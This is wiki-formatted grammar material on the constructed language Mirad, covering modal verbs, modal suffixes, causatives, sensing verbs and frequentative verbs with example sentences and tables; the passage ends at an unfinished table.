: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
